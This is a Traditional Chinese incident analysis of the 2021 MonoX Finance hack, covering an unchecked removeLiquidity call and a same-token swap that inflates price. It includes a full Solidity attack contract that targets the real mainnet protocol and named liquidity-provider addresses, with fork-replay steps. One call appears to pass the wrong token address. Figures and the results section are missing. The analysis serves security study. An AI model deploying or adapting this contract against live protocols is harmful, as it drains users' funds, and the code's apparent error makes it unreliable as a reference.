前言
2021 年 11 ⽉ 30 ⽇,DeFi 平臺 MonoX Finance 遭遇攻擊,損失共計約 3100 萬美元。
造成本次攻擊的漏洞主要有兩個:
- 移除流動性的函式未對呼叫者進行檢測,使得任何使用者都可以移除提供者的流動性。
- 代幣交換函式未對傳入的幣對進行檢測,可通過傳入相同的幣種抬高該幣價格。
以太坊網路
攻擊者地址:0xecbe385f78041895c311070f344b55bfaa953258
攻擊合約:0xf079d7911c13369e7fd85607970036d2883afcfd
攻擊交易(block@13715025):
https://etherscan.io/tx/0x9f14d093a2349de08f02fc0fb018dadb449351d0cdb7d0738ff69cc6fef5f299
polygon網路
攻擊者地址 2:0x8f6a86f3ab015f4d03ddb13abb02710e6d7ab31b
攻擊合約 2:0x119914de3ae03256fd58b66cd6b8c6a12c70cfb2
攻擊交易 2:
https://polygonscan.com/tx/0x5a03b9c03eedcb9ec6e70c6841eaa4976a732d050a6218969e39483bb3004d5d
兩個網路上的攻擊手段相同,在本文中只對以太坊網路的攻擊進行分析。
專案資訊
首先通過閱讀官方文件對整個專案進行了解:MonoX docs
攻擊的交易資訊:【ethtx】0x9f14d093a2349de08f02fc0fb018dadb449351d0cdb7d0738ff69cc6fef5f299
以下是關鍵點摘要:
- Single Token Liquidity pools function by grouping the deposited token into a virtual pair with our
virtual USD stablecoin (vCASH)
, instead of having the liquidity provider deposit multiple pool pairs, they only have to deposit one. All the pools/pairs are in the same ERC1155 contract
. Monoswap- In exchange for providing liquidity, the LP receives their share of the liquidity reserve and the
ERC1155 LP token
. Liquidity providers receive a share of the fees proportional to their share of the liquidity reserve. - When one removes liquidity from the pool for Token A, the price of the token stays the same.
The pool burns the liquidity provider’s ERC 1155 LP token
. In exchange, the pool transfers to the user their share of Token A’s virtual pair’s net value. When the vCASH balance ispositive
, the user will get their share of vCASH plus their share of Token A. When the vCASH balance isnegative
, the user will receive their share of Token A, minus their share of vCASH debt valued in Token A. - LPs providing liquidity in selected/promo pools will get non-transferrable
$MONO
shares.MONO-ERC20
專案合約地址
- Monoswap address: 0xC36a7887786389405EA8DA0B87602Ae3902B88A1
- MonoXPool address: 0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4
- MONO address: 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D
- vCASH address: 0x532D7ebE4556216490c9d03460214b58e4933454
攻擊流程分析
攻擊的目的是極大地提高 MONO 的價格,然後用 MONO 通過 MonoSwap 換取其他代幣
-
攻擊合約向 WETH 存 0.1 個 ETH,並授權給 Monoswap 的代理合約
-
用 0.1 WETH 從 Monoswap 中換出 79.986094311542621010 MONO
-
呼叫 Monoswap 的 pools 函式,查詢 MONO-vCash 的相關資訊
pid=10, lastPoolValue=531057465205747239605262, token=MONO, status=2, vcashDebt=0, vcashCredit=417969352001142975260, tokenBalance=101764473116983332370454, price=5218495054176274115, createdAt=1637853228
-
呼叫 MonoXPool 的 totalSupplyOf 函式, 查詢 MONO-vCash 池子中作為 LP 證明的 MONO 的總量。
-
呼叫 MonoXPool 的 balanceOf 函式,查詢提供大量流動性的使用者(要移除流動性的目標)在 MONO-vCash 池子中作為 LP 證明的 MONO 數量。提供流動性的使用者可以在其 token 頁面找到(只有三位使用者提供了流動性)。
-
移除提供大量流動性的使用者的流動性,使得池中的 vCash 為 0 ,MONO 為 0 。
pid=10, lastPoolValue=1027394637, token=MONO, status=2, vcashDebt=0, vcashCredit=0, tokenBalance=0, price=5218495054176274115, createdAt=1637853228
-
往 MONO-vCash 池中新增流動性 196875656 MONO 。獲得 927 liquidity .
pid=10, lastPoolValue=1027394637, token=MONO, status=2, vcashDebt=0, vcashCredit=0, tokenBalance=196875656, price=5218495054176274115, createdAt=1637853228
-
呼叫 55 次 Monoswap.swapExactTokenForToken 函式, 其中 tokenIn=MONO, tokenOut=MONO 。此舉的目的是為了提高 MONO 的價格,使得 amountOut > amountIn 。此時的 MONO 價格已經大幅度上升到了 843741636512366463585990541128 。
pid=10, lastPoolValue=1027394637, token=MONO, status=2, vcashDebt=0, vcashCredit=0, tokenBalance=28065601457649448980, price=843741636512366463585990541128, createdAt=1637853228
-
然後通過呼叫 swapTokenForExactToken 函式,以高價的 MONO 換空池中的其他代幣,達到獲利的目的。
程式碼分析
移除流動性漏洞
removeLiquidity 函式未對呼叫者進行檢測,使得任何使用者都可以移除提供者的流動性。
價格提升漏洞
整體的程式碼流程如圖。通過傳入相同的代幣(tokenIn=MONO, tokenOut=MONO),大幅拉昇該代幣的價格。
swapExactTokenForToken 函式
跟入 swapIn 函式
getAmountOut函式
_getNewPrice函式
_getAvgPrice函式
攻擊合約
pragma solidity ^0.7.6;
interface WETH9{
function deposit() external payable;
function approve(address guy, uint wad) external;
}
interface Monoswap{
function swapExactTokenForToken(
address tokenIn,
address tokenOut,
uint amountIn,
uint amountOutMin,
address to,
uint deadline
) external;
function removeLiquidity (address _token, uint256 liquidity, address to,
uint256 minVcashOut,
uint256 minTokenOut) external;
function addLiquidity (address _token, uint256 _amount, address to) external;
enum PoolStatus {
UNLISTED,
LISTED,
OFFICIAL,
SYNTHETIC,
PAUSED
}
function pools(address) external view
returns (
uint256 pid,
uint256 lastPoolValue,
address token,
PoolStatus status,
uint112 vcashDebt,
uint112 vcashCredit,
uint112 tokenBalance,
uint256 price,
uint256 createdAt
);
function swapTokenForExactToken(
address tokenIn,
address tokenOut,
uint amountInMax,
uint amountOut,
address to,
uint deadline
) external;
}
interface MonoXPool{
function balanceOf(address account, uint256 id) external returns (uint256);
}
interface MonoToken{
function approve(address spender, uint256 amount) external;
function balanceOf(address account) external returns(uint256);
}
contract attack{
address WETH9_address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address vCash_address = 0x532D7ebE4556216490c9d03460214b58e4933454;
address MONO_address = 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D;
address USDC_address = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address MonoXPool_address = 0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4;
address Monoswap_address = 0xC36a7887786389405EA8DA0B87602Ae3902B88A1;
// the only 3 MONO liquidity providers
address LiquidityProvider1 = 0x7B9aa6ED8B514C86bA819B99897b69b608293fFC;
address LiquidityProvider2 = 0x81D98c8fdA0410ee3e9D7586cB949cD19FA4cf38;
address LiquidityProvider3 = 0xab5167e8cC36A3a91Fd2d75C6147140cd1837355;
// Please deplay with 0.1 eth.
function S1_Get_and_Approve_WETH() public{
WETH9(WETH9_address).deposit{value:0.1 ether, gas:40000}();
WETH9(WETH9_address).approve(Monoswap_address,0.1 ether);
}
// Swap the token form WETH to MONO in Monoswap.
function S2_Swap_form_WETH_to_MONO() public{
Monoswap(Monoswap_address).swapExactTokenForToken(WETH9_address, MONO_address, 0.1 ether, 1, address(this), block.timestamp);
}
// Remove the liqiudity of MONO pool.
function S3_Remove_Liquidity() public{
// Get the MONO banlance of provider, then remove it.
uint256 balanceOfProvider1 = MonoXPool(MonoXPool_address).balanceOf(LiquidityProvider1, 10);
Monoswap(Monoswap_address).removeLiquidity(MONO_address, balanceOfProvider1, LiquidityProvider1, 0, 0);
uint256 balanceOfProvider2 = MonoXPool(MonoXPool_address).balanceOf(LiquidityProvider2, 10);
Monoswap(Monoswap_address).removeLiquidity(MONO_address, balanceOfProvider2, LiquidityProvider2, 0, 0);
uint256 balanceOfProvider3 = MonoXPool(MonoXPool_address).balanceOf(LiquidityProvider3, 10);
Monoswap(Monoswap_address).removeLiquidity(MONO_address, balanceOfProvider3, LiquidityProvider3, 0, 0);
// After this step, the MONO and vCash banlances of pool is 0.
// But the price of MONO has not changed.
}
// Approve and add liqiudity to the MONO pool.
function S4_Add_Liqiudity_of_MONO() public{
MonoToken(MONO_address).approve(Monoswap_address, type(uint256).max);
// The attacker add 196875656 MONO.
Monoswap(Monoswap_address).addLiquidity(MONO_address, 196875656, address(this));
}
// To raise the price of MONO by swap MONO to MONO 55 times.
function S5_Raise_MONO_Price() public{
uint112 MONO_InPool;
for(uint256 i = 0; i < 55; i++){
// Get amount of MONO in pool.
(,,,,,,MONO_InPool,,) = Monoswap(Monoswap_address).pools(MONO_address);
// Swap MONO to MONO.
Monoswap(Monoswap_address).swapExactTokenForToken(MONO_address, MONO_address, MONO_InPool-1, 0, address(this), block.timestamp);
}
}
// Swaping the USDC by high price MONO.
function S6_Swap_MONO_to_USDC() public{
// Get the MONO balance of this contract.
uint256 MONO_InThis;
MONO_InThis = MonoToken(MONO_address).balanceOf(address(this));
// Get the USDC banlance of pool.
// uint256 USDC_InPool;
//(,,,,,,USDC_InPool,,) = Monoswap(Monoswap_address).pools(USDC_address);
// Using MONO to swap 4000000000000 USDC, while 4000000000000 < USDC_InPool.
Monoswap(Monoswap_address).swapTokenForExactToken(Monoswap_address, USDC_address, MONO_InThis, 4000000000000, msg.sender, block.timestamp);
}
// Because MonoXPool is ERC1155 contract, this function is necessary.
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4){
bytes4 a = bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
// a = 0xf23a6e61
return a;
}
receive() payable external{}
}
漏洞復現
要設定 -l
gas limit,否則會不夠用。
ganache-cli --fork https://eth-mainnet.alchemyapi.io/v2/{your key}@13715025 -l 4294967295
匯入賬戶
部署合約,並往合約轉入 0.1 eth
依次呼叫攻擊合約中的攻擊函式
攻擊結果